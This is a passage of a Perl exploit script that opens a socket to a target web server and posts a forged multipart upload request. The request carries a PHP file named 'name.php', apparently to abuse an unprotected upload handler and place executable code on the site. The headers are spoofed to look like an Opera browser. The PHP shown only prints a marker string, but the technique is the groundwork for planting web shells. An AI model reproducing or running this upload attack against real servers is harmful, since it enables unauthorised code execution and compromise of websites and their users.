my $sock=new IO::Socket::INET(PeerAddr=>$dom,PeerPort=>'80',PeerProto =>'TCP');

my $a=q(POST ).$skript_name.q( HTTP/1.1
User-Agent: Opera/9.50 (Windows NT 5.1; U; ru)
Host: ).$dom.q(
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Connection: Keep-Alive, TE
TE: deflate, gzip, chunked, identity, trailers
Content-Length: 1000
Content-Type: multipart/form-data; boundary=----------Yqz7fayiEPXAbonKK8XQJM

------------Yqz7fayiEPXAbonKK8XQJM
Content-Disposition: form-data; name="act"

upload
------------Yqz7fayiEPXAbonKK8XQJM
Content-Disposition: form-data; name="uploadfile"; filename="name.php"
Content-Type: application/octet-stream

<?
Error_Reporting(E_ALL & ~E_NOTICE);
echo 'someshittt';
?>
------------Yqz7fayiEPXAbonKK8XQJM
Content-Disposition: form-data; name="miniform"

1
------------Yqz7fayiEPXAbonKK8XQJM
Content-Disposition: form-data; name="submit"

Upload
------------Yqz7fayiEPXAbonKK8XQJM--
);print $sock $a;